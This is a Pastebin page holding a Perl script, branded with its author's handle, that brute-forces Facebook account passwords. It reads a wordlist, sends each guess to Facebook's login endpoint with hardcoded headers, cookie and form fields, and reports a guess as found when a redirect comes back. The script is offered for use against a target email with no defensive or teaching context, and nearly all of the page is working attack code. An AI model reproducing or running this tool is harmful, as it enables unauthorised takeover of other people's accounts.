the-evil

Untitled

May 15th, 2016
196
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.60 KB | None | 0 0
  1. #use : perl fb.pl XXXX@XXXXX.com wordlist.txt
  2. # XXXX@XXXXX.com = email de facebook
  3. #wordlist.txt = password
  4. # happy day ;)
  5. use strict;
  6. use Net::SSLeay::Handle;
  7.  
  8. print q{
  9.  
  10.                           ━━━╮╭━━━╮╭━━━╮
  11.                          ┃╭━━╯┃╭━╮┃┃╭━╮┃
  12.                          ┃╰━━╮┃╰━━╮┃╰━━╮
  13.                          ┃╭━━╯╰━━╮┃╰━━╮┃
  14.                          ┃╰━━╮┃╰━╯┃┃╰━╯┃
  15.                          ╰━━━╯╰━━━╯╰━━━╯                              
  16.                          ╰━━━╯╰━━━╯╰━━━╯                                
  17.                               _/\_
  18.                               (҂`_´)
  19.                              <,︻╦╤─ ҉ - ----------
  20.                              _/﹋\_
  21.  
  22.       ===================================================
  23.       #         Brute force facebook exploit            #
  24.       #     By: salah the-3vil <brute_force_exploit     #
  25.       #      MorXploit Research www.exploit-db.com      #
  26.       ===================================================
  27. };
  28.  
  29. if(!defined($ARGV[0] && $ARGV[1])) {
  30.  
  31. system('clear');
  32. print "\n+++ Salah -Bruter Facebook password Bruter\n";
  33. print "+++ Coded by Salah = the-3vil \n";
  34. print "+++ www.fb.com/100011744648643\n\n";
  35. print "+++ Usage: perl $0 login wordlist\n\n";
  36. exit; }
  37.  
  38. my $user = $ARGV[0];
  39. my $wordlist = $ARGV[1];
  40.  
  41. open (LIST, $wordlist) || die "\n[-] No Wordlist On $wordlist -_- \n";
  42.  
  43. print "\n+++ Salah -Bruter Facebook password Bruter\n";
  44. print "+++ Coded by Salah = the-3vil\n";
  45. print "+++ www.fb.com/100011744648643\n";
  46. print "\n[+] Now Cracking $user ...\n\n";
  47.  
  48. while (my $password = <LIST>) {
  49. chomp ($password);
  50. $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
  51.  
  52. my $a = "POST /login.php HTTP/1.1";
  53. my $b = "Host: www.facebook.com";
  54. my $c = "Connection: close";
  55. my $e = "Cache-Control: max-age=0";
  56. my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  57. my $g = "Origin: https://www.facebook.com";
  58. my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
  59. my $i = "Content-Type: application/x-www-form-urlencoded";
  60. my $j = "Accept-Encoding: gzip,deflate,sdch";
  61. my $k = "Accept-Language: en-US,en;q=0.8";
  62. my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
  63.  
  64. my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
  65. my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
  66. my $cl = length($post);
  67. my $d = "Content-Length: $cl";
  68.  
  69.  
  70. my ($host, $port) = ("www.facebook.com", 443);
  71.  
  72. tie(*SSL, "Net::SSLeay::Handle", $host, $port);
  73.  
  74.  
  75. print SSL "$a\n";
  76. print SSL "$b\n";
  77. print SSL "$c\n";
  78. print SSL "$d\n";
  79. print SSL "$e\n";
  80. print SSL "$f\n";
  81. print SSL "$g\n";
  82. print SSL "$h\n";
  83. print SSL "$i\n";
  84. print SSL "$j\n";
  85. print SSL "$k\n";
  86. print SSL "$l\n";
  87. print SSL "$cookie\n\n";
  88.  
  89. print SSL "$post\n";
  90.  
  91. my $success;
  92. while(my $result = <SSL>){
  93. if($result =~ /Location(.*?)/){
  94. $success = $1;
  95. }
  96. }
  97. if (!defined $success)
  98. {
  99. print "[--] $password -> N0t f0unD :( \n";
  100. close SSL;
  101. }
  102. else
  103. {
  104. print "\n########################################################\n";
  105. print "[++++] Passw0rD f0unD :D !!! : $password \n";
  106. print "########################################################\n\n";
  107. close SSL;
  108. exit;
  109. }
  110. }
Add Comment
Please, Sign In to add comment